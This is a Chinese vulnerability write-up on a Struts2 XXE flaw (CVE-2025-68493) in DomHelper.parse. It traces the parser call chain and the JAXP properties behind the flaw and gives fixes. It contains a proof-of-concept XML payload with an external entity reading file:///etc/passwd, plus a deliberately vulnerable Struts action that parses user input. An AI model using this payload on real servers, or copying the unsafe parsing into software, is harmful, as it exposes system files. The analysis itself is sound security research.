Struts2 XXE漏洞 CVE-2025-68493

漏洞点

位置:com.opensymphony.xwork2.util.DomHelper.parse

img

环境

java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.opensymphony.xwork2.util.DomHelper;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;

import java.io.IOException;
import java.io.StringReader;

public class Test {
public static void main(String[] args) throws IOException {

String xmlContent = "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><root>&xxe;</root>";

InputSource inputSource = new InputSource(
new StringReader(xmlContent)
);

Document document = DomHelper.parse(inputSource);

if (document != null && document.getDocumentElement() != null) {
System.out.println(document.getDocumentElement().getTextContent());
}
}
}

struts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com.y5neko.vul.action;

import com.opensymphony.xwork2.ActionSupport;
import com.opensymphony.xwork2.util.DomHelper;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;

import java.io.StringReader;

public class XmlParserNoDtdAction extends ActionSupport {

private String xmlContent;
private String result;
private String error;

public String execute() {
return SUCCESS;
}

public String parse() {
try {
if (xmlContent == null || xmlContent.trim().isEmpty()) {
error = "XML 内容不能为空";
return ERROR;
}

InputSource inputSource = new InputSource(
new StringReader(xmlContent)
);

Document document = DomHelper.parse(inputSource);

if (document != null && document.getDocumentElement() != null) {
result = document.getDocumentElement().getTextContent();
addActionMessage("XML 解析成功");
} else {
error = "XML 解析失败";
return ERROR;
}

} catch (Exception e) {
StringBuilder sb = new StringBuilder();
sb.append(e.getClass().getSimpleName());
if (e.getMessage() != null) {
sb.append(": ").append(e.getMessage());
}
error = sb.toString();

e.printStackTrace();

return ERROR;
}

return SUCCESS;
}

public String getXmlContent() {
return xmlContent;
}

public void setXmlContent(String xmlContent) {
this.xmlContent = xmlContent;
}

public String getResult() {
return result;
}

public void setResult(String result) {
this.result = result;
}

public String getError() {
return error;
}

public void setError(String error) {
this.error = error;
}
}

打包:

通过网盘分享的文件:CVE-2025-68493.zip
链接: https://pan.baidu.com/s/1PIS9WtjjAnh7X6gHX7vT0w?pwd=4y7m 提取码: 4y7m 复制这段内容后打开百度网盘手机App,操作更方便哦
–来自百度网盘超级会员v4的分享

分析

img

进入重载方法,dtdMappings为null

img

使用SAXParserFactory作为factory

img

直接进入SAXParserImpl的parse方法,依次跟进

img

img

img

直到com.sun.org.apache.xerces.internal.parsers.parse

img

securityPropertyManager负责管理JAXP安全属性

img

img

img

其中ACCESS_EXTERNAL_DTD和ACCESS_EXTERNAL_SCHEMA分别决定DTD阶段和XML Schema (XSD)阶段是否允许访问外部实体,默认为all,即允许所有协议,参考:

https://docs.oracle.com/en/java/javase/25/docs/api/java.xml/javax/xml/XMLConstants.html?utm_source=chatgpt.com#ACCESS_EXTERNAL_DTD

img

继续回到执行点

img

随后就是内部的xml解析逻辑,完整调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DomHelper.parse()

SAXParser.parse()

XMLParser.parse()

XML11Configuration.parse()

XMLEntityManager.startEntity()

XMLScanner.scanDocument()

XMLDTDScannerImpl.scanDTD()

XMLDocumentScannerImpl.scanStartElement()

XMLSchemaValidator / ContentHandler

复现

img

修复

1、升级Struts2版本;

2、jvm参数直接置空 XML 解析器的三个安全参数;

1
2
3
-Djavax.xml.accessExternalDTD=""
-Djavax.xml.accessExternalSchema=""
-Djavax.xml.accessExternalStylesheet=""